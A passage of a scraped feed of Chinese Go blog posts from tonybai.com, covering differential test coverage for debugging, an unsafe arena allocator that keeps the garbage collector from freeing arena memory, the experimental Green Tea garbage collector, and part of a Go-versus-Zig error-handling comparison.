文件的覆盖率情况。\n这个结果清晰地将我们的注意力引导到了处理乘法逻辑的代码块，提示这部分代码是失败测试独有的执行路径，极有可能是 Bug 的源头。通过检查绿色的代码行，我们就能快速发现乘法被错误地实现成了加法。\n这个简单的实例验证了差异化覆盖率在隔离和定位问题代码方面的有效性，即使在不熟悉的代码库中，也能提供极具价值的调试线索。\n优点与局限性 通过上面的理论分析与复现展示，我们可以看出这门“古老绝技”的优点以及一些局限。\n差异化覆盖率这项技术展现出多项优点。它能够极大地缩小代码排查范围，这在处理大型或不熟悉的代码库时尤其有用。此外，使用差异化覆盖率的成本相对低廉，只需要运行两次测试，然后执行一些简单的命令行操作即可。最重要的是，产生的 HTML 报告能够清晰地标示出重点区域，使得问题的定位更加直观。\n然而，差异化覆盖率并非万能。它存在一些局限性。首先，对于依赖特定输入数据才会触发的错误（数据依赖性 Bug），即使错误代码在成功的测试中被执行，差异化覆盖率也可能无法直接标记出该代码。其次，如果成功的测试执行了错误代码，但测试断言没有捕捉到错误状态，那么差异化覆盖率也无法有效工作。最后，这项技术依赖于清晰的失败信号，因此需要有一个明确失败的测试用例作为对比基准。\n其他应用场景 除了调试失败的测试，差异化覆盖率还有其他用途：\n理解代码功能: 想知道某项特定功能（如 net/http 中的 SOCKS5 代理）是由哪些代码实现的？可以运行包含该功能和不包含该功能的两组测试，然后进行差异化覆盖率分析，绿色部分即为与该功能强相关的代码。 简化版 – 单一失败测试覆盖率: 即便不进行比较，仅仅查看失败测试本身的覆盖率报告 (c2.prof) 也非常有价值。它清晰地展示了在失败场景下，代码究竟执行了哪些路径，哪些代码完全没有运行（可以直接排除），有助于理解错误的产生过程。 小结 差异化覆盖率是一种简单、低成本且往往非常有效的调试辅助手段。它利用了 Go 内建的覆盖率工具，通过巧妙的比较，帮助开发者将注意力聚焦到最可疑的代码区域。虽然它不能保证找到所有类型的 Bug，但在许多场景下，它都能显著节省调试时间，将开发者从“大海捞针”式的排查中解放出来。下次遇到棘手的 Bug 时，不妨试试这个技巧！当然，还可以结合之前Russ Cox分享的Hash-based bisect调试技术共同快速的定位问题所在。\nRuss Cox的文章原始地址：https://research.swtch.com/diffcover 本文示例代码的地址：https://github.com/bigwhite/experiments/tree/master/diff-test-cover 调试奇技淫巧，你还有哪些？\n差异化覆盖率确实为我们提供了一个在复杂代码中快速缩小问题范围的利器。除了这个“古老绝技”，你在日常 Go 开发中，还珍藏了哪些鲜为人知但极其高效的调试技巧或工具心得？ 比如你是如何利用 Delve 的高级特性，或者有什么特别的日志分析方法？\n热烈欢迎在评论区分享你的独门秘笈，让我们一起丰富Go开发者的调试工具箱！\n想系统性提升你的Go调试与底层分析能力？\n如果你对这类Go调试技巧、性能剖析、甚至Go语言的内部实现（比如GC、调度器）充满好奇，渴望从“知其然”到“知其所以然”，并系统性地构建自己的Go专家知识体系…\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 正是为你准备的！这里不仅有【Go进阶课】、【Go避坑课】带你深入Go的实用技巧与常见陷阱，更有【Go原理课】为你揭示语言底层的奥秘。当然，还有我亲自为你解答疑难，以及一个充满活力的Gopher社区与你共同成长，探索Go在AI等前沿领域的应用。\n现在就扫码加入，和我们一起深入Go的世界，让调试不再是难题，让技术精进之路更加清晰！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/07/debug-with-diff-cover/","summary":"\u003cp\u003e代码覆盖率新玩法：Russ Cox教你用差异化分析加速Go调试 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"代码覆盖率新玩法：Russ Cox教你用差异化分析加速Go调试"},{"content":"解读“Cheating the Reaper”：在Go中与GC共舞的Arena黑科技 - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\n解读“Cheating the Reaper”：在Go中与GC共舞的Arena黑科技 五月 6, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/06/cheating-the-reaper-in-go\n大家好，我是Tony Bai。\nGo语言以其强大的垃圾回收 (GC) 机制解放了我们这些 Gopher 的心智，让我们能更专注于业务逻辑而非繁琐的内存管理。但你有没有想过，在 Go 这个看似由 GC “统治”的世界里，是否也能体验一把“手动管理”内存带来的极致性能？甚至，能否与 GC “斗智斗勇”，让它为我们所用？\n事实上，Go 官方也曾进行过类似的探索。 他们尝试在标准库中加入一个arena包，提供一种基于区域 (Region-based) 的内存管理机制。测试表明，这种方式确实能在特定场景下通过更早的内存复用和减少 GC 压力带来显著的性能提升。然而，这个官方的 Arena 提案最终被无限期搁置了。原因在于，Arena 这种手动内存管理机制与 Go 语言现有的大部分特性和标准库组合得很差 (compose poorly)。\n官方的尝试尚且受阻，那么个人开发者在 Go 中玩转手动内存管理又会面临怎样的挑战呢？最近，一篇名为 “Cheating the Reaper in Go” (在 Go 中欺骗死神/收割者) 的文章在技术圈引起了不小的关注。作者 mcyoung 以其深厚的底层功底，展示了如何利用unsafe包和对 Go GC 内部运作机制的深刻理解，构建了一个非官方的、实验性的高性能内存分配器——Arena。\n这篇文章的精彩之处不仅在于其最终实现的性能提升，更在于它揭示了在 Go 中进行底层内存操作的可能性、挑战以及作者与 GC “共舞”的巧妙思路。需要强调的是，本文的目的并非提供一个生产可用的 Arena 实现（官方尚且搁置，其难度可见一斑），而是希望通过解读作者这次与 GC “斗智斗勇”的“黑科技”，和大家一起更深入地理解 Go 的底层运作机制。\n为何还要探索 Arena？理解其性能诱惑 即使官方受阻，理解 Arena 的理念依然有价值。它针对的是 Go 自动内存管理在某些场景下的潜在瓶颈：\n高频、小对象的分配与释放： 频繁触碰 GC 可能带来开销。 需要统一生命周期管理的内存： 一次性处理比零散回收更高效。 Arena 通过批量申请、内部快速分配、集中释放（在 Go 中通常是让 Arena 不可达由 GC 回收）的策略，试图在这些场景下取得更好的性能。\n核心挑战：Go 指针的“特殊身份”与 GC 的“规则” 作者很快指出了在 Go 中实现 Arena 的核心障碍：Go 的指针不是普通的数据。GC 需要通过指针位图 (Pointer Bits) 来识别内存中的指针，进行可达性分析。而自定义分配的原始内存块缺乏这些信息。\n作者提供了一个类型安全的泛型函数New[T]来在 Arena 上分配对象：\ntype Allocator interface { Alloc(size, align uintptr) unsafe.Pointer } // New allocates a fresh zero value of type T on the given allocator, and // returns a pointer to it. func New[T any](a Allocator) *T { var t T p := a.Alloc(unsafe.Sizeof(t), unsafe.Alignof(t)) return (*T)(p) } 但问题来了，如果我们这样使用：\np := New[*int](myAlloc) // myAlloc是一个实现了Allocator接口的arena实现 *p = new(int) runtime.GC() **p = 42 // Use after free! 可能崩溃! 因为 Arena 分配的内存对 GC 不透明，GC 看不到里面存储的指向new(int)的指针。当runtime.GC()执行时，它认为new(int)分配的对象已经没有引用了，就会将其回收。后续访问**p就会导致 Use After Free。\n“欺骗”GC 的第一步：让 Arena 整体存活 面对这个难题，作者的思路是：让 GC 知道 Arena 的存在，并间接保护其内部分配的对象。关键在于确保：只要 Arena 中有任何一个对象存活，整个 Arena 及其所有分配的内存块（Chunks）都保持存活。\n这至关重要，通过强制标记整个 arena，arena 中存储的任何指向其自身的指针将自动保持活动状态，而无需 GC 知道如何扫描它们。所以，虽然这样做后， *New*int = new(int) 仍然会导致释放后重用，但 *New*int = Newint 不会！即arena上分配的指针仅指向arena上的内存块。 这个小小的改进并不能保证 arena 本身的安全，但只要进入 arena 的指针完全来自 arena 本身，那么拥有内部 arena 的数据结构就可以完全安全。\n1. 基本 Arena 结构与快速分配\n首先，定义 Arena 结构，包含指向下一个可用位置的指针next和剩余空间left。其核心分配逻辑 (Alloc) 主要是简单的指针碰撞：\npackage arena import \u0026#34;unsafe\u0026#34; type Arena struct { next unsafe.Pointer // 指向当前 chunk 中下一个可分配位置 left uintptr // 当前 chunk 剩余可用字节数 cap uintptr // 当前 chunk 的总容量 (用于下次扩容参考) // chunks 字段稍后添加 } const ( maxAlign uintptr = 8 // 假设 64 位系统最大对齐为 8 minWords uintptr = 8 // 最小分配块大小 (以字为单位) ) func (a *Arena) Alloc(size, align uintptr) unsafe.Pointer { // 1. 对齐 size 到 maxAlign (简化处理) mask := maxAlign - 1 size = (size + mask) \u0026amp;^ mask words := size / maxAlign // 2. 检查当前 chunk 空间是否足够 if a.left \u0026lt; words { // 空间不足，分配新 chunk a.newChunk(words) // 假设 newChunk 会更新 a.next, a.left, a.cap } // 3. 在当前 chunk 中分配 (指针碰撞) p := a.next // (优化后的代码，去掉了检查 one-past-the-end) a.next = unsafe.Add(a.next, size) a.left -= words return p } 2. 持有所有 Chunks\n为了防止 GC 回收 Arena 已经分配但next指针不再指向的旧 Chunks，需要在 Arena 中明确持有它们的引用：\ntype Arena struct { next unsafe.Pointer left, cap uintptr chunks []unsafe.Pointer // 新增：存储所有分配的 chunk 指针 } // 在 Alloc 函数的 newChunk 调用之后，需要将新 chunk 的指针追加到 a.chunks // 例如，在 newChunk 函数内部实现: a.chunks = append(a.chunks, newChunkPtr) 原文测试表明，这个append操作的成本是摊销的，对整体性能影响不大，结果基本与没有chunks字段时持平。\n3. 关键技巧：Back Pointer\n是时候保证整个arena安全了！这是“欺骗”GC 的核心。通过reflect.StructOf动态创建包含unsafe.Pointer字段的 Chunk 类型，并在该字段写入指向 Arena 自身的指针：\nimport ( \u0026#34;math/bits\u0026#34; \u0026#34;reflect\u0026#34; \u0026#34;unsafe\u0026#34; ) // allocChunk 创建新的内存块并设置 Back Pointer func (a *Arena) allocChunk(words uintptr) unsafe.Pointer { // 使用 reflect.StructOf 创建动态类型 struct { Data [N]uintptr; BackPtr unsafe.Pointer } chunkType := reflect.StructOf([]reflect.StructField{ { Name: \u0026#34;Data\u0026#34;, // 用于分配 Type: reflect.ArrayOf(int(words), reflect.TypeFor[uintptr]()), }, { Name: \u0026#34;BackPtr\u0026#34;, // 用于存储 Arena 指针 Type: reflect.TypeFor[unsafe.Pointer](), // !! 必须是指针类型，让 GC 扫描 !! }, }) // 分配这个动态结构体 chunkPtr := reflect.New(chunkType).UnsafePointer() // 将 Arena 自身指针写入 BackPtr 字段 (位于末尾) backPtrOffset := words * maxAlign // Data 部分的大小 backPtrAddr := unsafe.Add(chunkPtr, backPtrOffset) *(**Arena)(backPtrAddr) = a // 写入 Arena 指针 // 返回 Data 部分的起始地址，用于后续分配 return chunkPtr } // newChunk 在 Alloc 中被调用，用于更新 Arena 状态 func (a *Arena) newChunk(requestWords uintptr) { newCapWords := max(minWords, a.cap*2, nextPow2(requestWords)) // 计算容量 a.cap = newCapWords chunkPtr := a.allocChunk(newCapWords) // 创建新 chunk 并写入 BackPtr a.next = chunkPtr // 更新 next 指向新 chunk 的 Data 部分 a.left = newCapWords // 更新剩余容量 // 将新 chunk (整个 struct 的指针) 加入列表 a.chunks = append(a.chunks, chunkPtr) } // (nextPow2 和 max 函数省略) 通过这个 Back Pointer，任何指向 Arena 分配内存的外部指针，最终都能通过 GC 的扫描链条将 Arena 对象本身标记为存活，进而保活所有 Chunks。这样，Arena 内部的指针（指向 Arena 分配的其他对象）也就安全了！原文的基准测试显示，引入 Back Pointer 的reflect.StructOf相比直接make([]uintptr)对性能有轻微但可察觉的影响。\n性能再“压榨”：消除冗余的 Write Barrier 分析汇编发现，Alloc函数中更新a.next(如果类型是unsafe.Pointer) 会触发 Write Barrier。这是 GC 用来追踪指针变化的机制，但在 Back Pointer 保证了 Arena 整体存活的前提下，这里的 Write Barrier 是冗余的。\n作者的解决方案是将next改为uintptr：\ntype Arena struct { next uintptr // \u0026lt;--- 改为 uintptr left uintptr cap uintptr chunks []unsafe.Pointer } func (a *Arena) Alloc(size, align uintptr) unsafe.Pointer { // ... (对齐和检查 a.left \u0026lt; words 逻辑不变) ... if a.left \u0026lt; words { a.newChunk(words) // newChunk 内部会设置 a.next (uintptr) } p := a.next // p 是 uintptr a.next += size // uintptr 直接做加法，无 Write Barrier a.left -= words return unsafe.Pointer(p) // 返回时转换为 unsafe.Pointer } // newChunk 内部设置 a.next 时也应存为 uintptr func (a *Arena) newChunk(requestWords uintptr) { // ... (allocChunk 不变) ... chunkPtr := a.allocChunk(newCapWords) a.next = uintptr(chunkPtr) // \u0026lt;--- 存为 uintptr // ... (其他不变) ... } 这个优化效果如何？原文作者在一个 GC 压力较大的场景下（通过一个 goroutine 不断调用runtime.GC()模拟）进行了测试，结果表明，对于小对象的分配，消除 Write Barrier 带来了大约 20% 的性能提升。这证明了在高频分配场景下，即使是 Write Barrier 这样看似微小的开销也可能累积成显著的性能瓶颈。\n更进一步的可能：Arena 复用与sync.Pool 文章还提到了一种潜在的优化方向：Arena 的复用。当一个 Arena 完成其生命周期后（例如，一次请求处理完毕），其占用的内存理论上可以被“重置”并重新利用，而不是完全交给 GC 回收。\n作者建议，可以将不再使用的 Arena 对象放入sync.Pool中。下次需要 Arena 时，可以从 Pool 中获取一个已经分配过内存块的 Arena 对象，只需重置其next和left指针即可开始新的分配。这样做的好处是：\n避免了重复向 GC 申请大块内存。 可能节省了重复清零内存的开销（如果 Pool 返回的 Arena 内存恰好未被 GC 清理）。 这需要更复杂的 Arena 管理逻辑（如 Reset 方法），但对于需要大量、频繁创建和销毁 Arena 的场景，可能带来进一步的性能提升。\nunsafe：通往极致性能的“危险边缘” 贯穿整个 Arena 实现的核心是unsafe包。作者坦诚地承认，这种实现方式严重依赖 Go 的内部实现细节和unsafe提供的“后门”。\n这再次呼应了 Go 官方搁置 Arena 的原因——它与语言的安全性和现有机制的兼容性存在天然的矛盾。使用unsafe意味着：\n放弃了类型和内存安全保障。 代码变得脆弱，可能因 Go 版本升级而失效（尽管作者基于Hyrum 定律认为风险相对可控）。 可读性和可维护性显著降低。 小结 “Cheating the Reaper in Go” 为我们呈现了一场精彩的、与 Go GC “共舞”的“黑客艺术”。通过对 GC 原理的深刻洞察和对unsafe包的大胆运用，作者展示了在 Go 中实现高性能自定义内存分配的可能性，虽然作者的实验性实现是一个toy级别的。\n然而，正如 Go 官方的 Arena 实验所揭示的，将这种形式的手动内存管理完美融入 Go 语言生态，面临着巨大的挑战和成本。因此，我们应将这篇文章更多地视为一次理解 Go 底层运作机制的“思想实验”和“案例学习”，而非直接照搬用于生产环境的蓝图。\n对于绝大多数 Go 应用，内建的内存分配器和 GC 依然是最佳选择。但通过这次“与死神共舞”的探索之旅，我们无疑对 Go 的底层世界有了更深的敬畏和认知。\n你如何看待在 Go 中使用unsafe进行这类底层优化？官方 Arena 实验的受阻说明了什么？欢迎在评论区分享你的思考！ 如果你对 Go 的底层机制和性能优化同样充满好奇，别忘了点个【赞】和【在看】！\n原文链接：https://mcyoung.xyz/2025/04/21/go-arenas\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/06/cheating-the-reaper-in-go/","summary":"\u003cp\u003e解读“Cheating the Reaper”：在Go中与GC共舞的Arena黑科技 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"解读“Cheating the Reaper”：在Go中与GC共舞的Arena黑科技"},{"content":"Go新垃圾回收器登场：Green Tea GC如何通过内存感知显著降低CPU开销？ - Tony Bai\n===============\nTony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n文章列表\nGo新垃圾回收器登场：Green Tea GC如何通过内存感知显著降低CPU开销？ 五月 3, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/05/03/go-green-tea-garbage-collector\n大家好，我是Tony Bai。\n随着 CPU 核心数量的激增和内存访问速度日益成为瓶颈，现代计算系统对内存局部性（Spatial \u0026amp; Temporal Locality）和拓扑感知（Topology-awareness）提出了更高的要求。然而，传统的垃圾收集（GC）算法，包括 Go 当前使用的并行三色标记清除法，往往与这些趋势背道而驰。近期，Go 团队技术负责人Austin Clements公布了一项名为 “Green Tea” (绿茶) ** 的实验性垃圾收集器设计（Issue #73581），旨在通过一种内存感知 (memory-aware)** 的新方法，显著改善 GC 过程中的内存访问模式，降低 CPU 开销，尤其是在多核和 NUMA 架构下。该特性计划作为 Go 1.25 的一个可选实验加入，开发者将有机会提前体验。\n在这篇文章中，我就来简要介绍一下这个新GC的设计、原型实现和当前状态。\n当前 GC 的挑战：内存墙与低效扫描 Go 当前的 GC 算法本质上是一个图遍历过程，堆对象是节点，指针是边。这种“图泛洪”式的扫描在并发标记时，会频繁地在内存地址空间中跳跃，导致：\n空间局部性差: 处理逻辑上相邻的对象时，物理内存访问可能跨越很大范围。 时间局部性差: 对同一内存区域的重复访问分散在整个 GC 周期中，未能有效利用缓存。 缺乏拓扑感知: 无法根据 CPU 核心与内存的物理距离进行优化。 其结果是，GC 的核心环节——扫描循环 (scan loop)——平均消耗了 GC 总时间的 85%，而其中超过 35% 的 CPU 周期仅仅是等待内存访问 (stalled on memory accesses)，这还不包括连锁反应。随着硬件向多核、深层缓存和非统一内存架构（NUMA）发展，这个问题预计将更加严峻。\nGreen Tea 设计：从对象扫描到 Span 扫描 Green Tea GC 的核心思想是改变扫描的基本单位。它不再直接处理和排队单个对象，而是扫描更大、连续的内存块，称为 “Spans”。\nSpan 作为工作单元: GC 的共享工作队列现在追踪的是 Spans，而不是单个待扫描对象。 Span 内部追踪: 一个 Span 内部需要扫描的对象信息（标记位）被存储在该 Span 自己的元数据中。 核心假设: 当一个 Span 在队列中等待时，程序可能会继续标记该 Span 内的其他对象。这样，当这个 Span 最终被取出处理时，它内部可能积累了多个待扫描对象，使得一次 Span 扫描能够处理更多邻近的对象，从而提高内存访问的局部性，并摊销单次扫描的固定开销。 Green Tea 的原型实现 (CL 658036) 已经可供试用，其关键特性包括：\n聚焦小对象: 原型目前主要针对小对象 Spans（包含 \u0026lt;= 512 字节对象的 8KiB 对齐内存块）。这是因为小对象的单次扫描时间短，传统 GC 的固定开销占比更高，优化潜力更大。大对象仍使用旧算法。 高效元数据访问: 利用 Span (8KiB 对齐) 的特性，通过简单的地址运算即可定位 Span 内对象的元数据（灰/黑标记位），避免了耗时的间接寻址和依赖加载。使用一个全局位图快速判断指针目标是否属于小对象 Span。 优化的工作分发: 采用类似 Goroutine 调度器的分布式工作窃取队列 (work-stealing runqueues) 来管理 Span 任务。这减少了对全局列表的争用，提高了多核扩展性。实验表明，FIFO 策略能让 Span 在被处理时积累最高的平均对象密度。 单对象扫描优化: 为了处理 Span 被取出时内部只有一个对象待扫描的低效情况，引入了优化： * 记录使 Span 入队的那个对象作为“代表 (representative)”。 * 增加一个“命中 (hit)”标志，表示 Span 在队列中时是否有其他对象被标记。 * 如果出队时“命中”标志未设置，则直接扫描“代表”对象，避免处理整个 Span 的开销。 原型评估：显著改进与复杂场景 团队在多种环境（不同核心数、amd64/arm64）下对 Green Tea 原型进行了评估：\nGC 密集型微基准: 在 x/benchmarks/garbage 和 binary-trees 等基准测试中，观察到 GC CPU 成本降低了 10% 到 50%，且改进幅度随核心数增加而提高，L1/L2 缓存未命中次数减半。这表明新设计具有更好的可伸缩性。 更广泛的基准套件 (bent \u0026amp; sweet): 结果更为复杂。 许多基准测试影响不大，或性能变化由 GC 无关因素（如代码对齐）导致。 部分出现回归：原因可能是 GC 时间缩短导致浮动垃圾减少（影响某些依赖内存压力的基准），或暴露了应用/运行时中其他的伸缩性瓶颈。 Go 编译器基准: 出现微小且不一致的回归（约 0.5%），可能与 PGO 配置有关，总体不敏感。 tile38 (高扇出树): 吞吐量、延迟和内存使用均有显著改善，GC 开销降低 35%。Green Tea 在这种能快速产生大量工作和高密度的场景下表现优异。 bleve-index (低扇出、频繁变异的二叉树): 性能基本持平，但揭示了 Green Tea 的局限性。当应用自身内存局部性差（如频繁树旋转导致节点分散）时，Green Tea 难以凭空创造局部性。单对象扫描优化对此类场景至关重要。在高核数环境下，由于伸缩性改善，仍有显著提升。 关键结论: Green Tea 在应用本身具有良好内存局部性的情况下表现最佳，并且其设计在多核环境下的伸缩性优于当前 GC。\n未来工作：SIMD 加速与更高密度 Green Tea 的 Span 扫描模式为未来的优化打开了大门：\nSIMD 加速扫描内核: 通过为不同大小类生成专门的 SIMD（单指令多数据流）扫描代码，利用位操作、置换指令等批量处理指针的加载、掩码、重排和入队。原型已证明 AVX512 内核能在已有改进的基准上再降低 15-20% GC 开销，但目前仅适用于部分对象且需要足够高的扫描密度。 Concentrator Network: Austin Clements 最初的设计包含一个更复杂的“集中器网络”排序结构，旨在实现 SIMD 所需的更高指针密度，并为元数据操作（如设置灰色位）带来局部性。虽然因实现复杂性暂未优先实施，但作为一种更通用、可调优的方案，仍是未来的探索方向。 立即体验 Green Tea GC Go 团队鼓励开发者在自己的真实应用上尝试 Green Tea GC（计划在 Go 1.25 中作为 GOEXPERIMENT 提供）：\n安装 gotip: $go install golang.org/dl/gotip@latest $gotip download 使用 gotip 编译并运行: $gotip build -gcflags=all=-N -ldflags=all=-w # 示例：禁用优化和 DWARF以便分析 $GOEXPERIMENT=greenteagc GODEBUG=gctrace=2 ./your_program (注意：请根据实际情况调整编译参数)\n反馈渠道: 团队希望收集关于实际应用场景的反馈，特别是：\n运行平台和 CPU 型号（或云实例类型）。 GOMAXPROCS 设置。 开启/关闭 Green Tea (GOEXPERIMENT=nogreenteagc) 时的 GODEBUG=gctrace=2 输出。 开启/关闭 Green Tea 时的 CPU Profile。 开启/关闭 Green Tea 时的执行 Trace（捕获几个 GC 周期）。 可以在 GitHub Issue #73581 下评论，或直接邮件联系 mknyszek(at)golang.org。\n总结与展望 Green Tea GC 是 Go 团队应对现代硬件内存瓶颈挑战的一次重要探索。通过转向内存感知的 Span 扫描设计，它在早期测试中展现了降低 GC 开销和提高多核伸缩性的巨大潜力。虽然仍在实验阶段，且在某些场景下表现复杂，但其方向代表了 Go 运行时为了持续榨取硬件性能而进行的重要演进。社区的积极试用和反馈将对 Green Tea 的最终形态和未来 Go 版本的性能产生关键影响。\n互动时间：聊聊你的 GC 期待与痛点\nGreen Tea GC 的探索无疑令人兴奋，它直接回应了现代硬件对内存效率的更高要求。那么，你在实际的 Go 项目中，遇到过哪些让你头疼的 GC 性能瓶颈或内存访问问题？ 你对 Green Tea 这种基于 Span 的内存感知扫描方式怎么看？它符合你对未来 Go GC 的期待吗？\n非常欢迎在评论区分享你的看法、经验，或者对 Green Tea 的任何疑问！ 让我们一起探讨 Go 性能优化的未来方向。\n想系统性深入 Go 底层原理与性能优化？\n如果你对 Green Tea GC 这类 Go 运行时内部机制、性能调优、甚至 Go 在 AI 时代的应用感兴趣，渴望进行更体系化、深度化的学习与交流…\n那么，我的 「Go \u0026amp; AI 精进营」知识星球 正是为你量身打造！这里不仅有深入剖析【Go原理课】、【Go进阶课】、【Go避坑课】等硬核专栏，带你彻底搞懂 Go 的底层逻辑与最佳实践，更有【AI应用实战】内容紧跟前沿。最重要的是，你可以随时向我提问，获得第一时间的深度解答，并与众多优秀的 Gopher 一起碰撞思想，共同精进！\n扫码加入，与我们一起探索 Go 的无限可能，加速你的技术成长！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/03/go-green-tea-garbage-collector/","summary":"\u003cp\u003eGo新垃圾回收器登场：Green Tea GC如何通过内存感知显著降低CPU开销？ - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"Go新垃圾回收器登场：Green Tea GC如何通过内存感知显著降低CPU开销？"},{"content":"\n本文永久链接 – https://tonybai.com/2025/04/30/go-vs-zig-in-error-handling\n大家好，我是Tony Bai。\n使用Go语言有些年头的开发者，大多对其错误处理机制有着复杂的情感。一方面，我们认同 Rob Pike 所倡导的“错误即值 (Errors are values)”的核心哲学——错误不是需要特殊通道（如异常）处理的“二等公民”，它们是普通的值，可以传递、检查，甚至被编程。这赋予了错误处理极大的灵活性和明确性。\n但另一方面，我们也不得不承认Go的错误处理有时可能相当冗长。标志性的if err != nil代码块几乎遍布在Go代码的各个角落，占据了相当大的代码比例，这常常成为社区讨论的热点。 有趣的是，近期另一门备受关注的系统编程语言 Zig，也采用了“错误即值”的哲学，但其实现方式却与Go大相径庭。\n近期自称是Zig新手的packagemain.tech博主在他的一期视频中也分享了自己敏锐地观察到的Zig和Go在设计哲学上的相似性（都追求简洁、快速上手）以及在错误处理实现上的显著差异。\n今天，我们就基于这位开发者的分享，来一场 Go 与 Zig 错误处理的对比，看看同一种哲学思想，是如何在两种语言中开出不同但各有千秋的花朵。\nGo 的错误处理：接口、显式检查与可编程的值 我们先快速回顾下 Go 的错误处理方式，这也是大家非常熟悉的：\nerror 接口 Go中的错误本质上是实现了Error() string方法的任何类型。这是一个极其简单但强大的约定。\n// $GOROOT/src/builtin/builtin.go // The error built-in interface type is the conventional interface for // representing an error condition, with the nil value representing no error. type error interface { Error() string } 显式返回值 函数通过返回 (result, error) 对来表明可能出错。通常error放到函数返回值列表的最后一个，并且一个函数通常只返回一个错误值。\n显式检查 调用者必须显式检查返回的 error 是否为 nil。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; ) func readFileContent(filename string) (string, error) { data, err := os.ReadFile(filename) // ReadFile returns ([]byte, error) if err != nil { // If an error occurs (e.g., file not found), return it return \u0026#34;\u0026#34;, fmt.Errorf(\u0026#34;failed to read file %s: %w\u0026#34;, filename, err) // Wrap the original error } return string(data), nil // Success, return data and nil error } func main() { content, err := readFileContent(\u0026#34;my_file.txt\u0026#34;) if err != nil { // The iconic check fmt.Fprintf(os.Stderr, \u0026#34;Error reading file: %v\\n\u0026#34;, err) // Here you would typically handle the error (log, return, etc.) return } fmt.Println(\u0026#34;File content:\u0026#34;, content) // Slightly shorter form for functions returning only error (like Close) // Use dummy file creation/opening for example that runs f, createErr := os.Create(\u0026#34;temp_file.txt\u0026#34;) if createErr != nil { fmt.Fprintf(os.Stderr, \u0026#34;Error creating file: %v\\n\u0026#34;, createErr) return } if f != nil { // Ensure file is closed even if writes fail later (using defer is better practice) defer f.Close() defer os.Remove(\u0026#34;temp_file.txt\u0026#34;) // Clean up the dummy file // Example usage... _, _ = f.WriteString(\u0026#34;hello\u0026#34;) // Now explicitly check close error if needed at the end of func, // though defer handles the call itself. // For demonstration of the if err := ... style on Close: // (Note: defer already schedules the close, this is just for syntax demo) // closerFunc := func() error { return f.Close() } // Wrap Close if needed // if err := f.Close(); err != nil { // Potential re-close if not careful with defer // fmt.Fprintf(os.Stderr, \u0026#34;Error closing file: %v\\n\u0026#34;, err) // } // A more practical place for this pattern might be a non-deferred close. } } 示例中，对每一处返回错误的地方都做了显式检查，这保证了错误不会被轻易忽略，控制流清晰可见，但也导致了代码冗长。上面代码因my_file.txt文件不存在，会输出“Error reading file: failed to read file my_file.txt: open my_file.txt: no such file or directory”并退出。\n错误是可编程的 自定义错误类型 开发者可以定义自己的 struct 实现 error 接口，从而携带更丰富的上下文信息。\npackage main import ( \u0026#34;errors\u0026#34; \u0026#34;fmt\u0026#34; \u0026#34;os\u0026#34; \u0026#34;time\u0026#34; ) // Custom error type type OperationError struct { Op string Err error // Underlying error Timestamp time.Time } // Implement the error interface func (e *OperationError) Error() string { return fmt.Sprintf(\u0026#34;[%s] operation %s failed: %v\u0026#34;, e.Timestamp.Format(time.RFC3339), e.Op, e.Err) } // Function that might return our custom error func performCriticalOperation() error { // Simulate a failure err := errors.New(\u0026#34;connection refused\u0026#34;) return \u0026amp;OperationError{ Op: \u0026#34;connect_database\u0026#34;, Err: err, Timestamp: time.Now(), } } // (main function using this will be shown in the next point) 错误检查 标准库 errors 包提供了 errors.Is (检查错误值是否匹配特定目标) 和 errors.As (检查错误链中是否有特定类型并提取) 方法，允许对错误进行更精细的判断和处理。\n// (Continuing from previous snippet within the same package) func main() { err := performCriticalOperation() if err != nil { fmt.Fprintf(os.Stderr, \u0026#34;Operation failed: %v\\n\u0026#34;, err) // Prints the formatted custom error // Example: Check if the underlying error is a specific known error // Note: Standard errors package doesn\u0026#39;t export connection refused directly, // this is conceptual. Real check might involve string matching or syscall types. // if errors.Is(err, someSpecificNetworkError) { // fmt.Println(\u0026#34;It was specifically a network error\u0026#34;) // } // Check if the error is of our custom type and extract it var opErr *OperationError if errors.As(err, \u0026amp;opErr) { 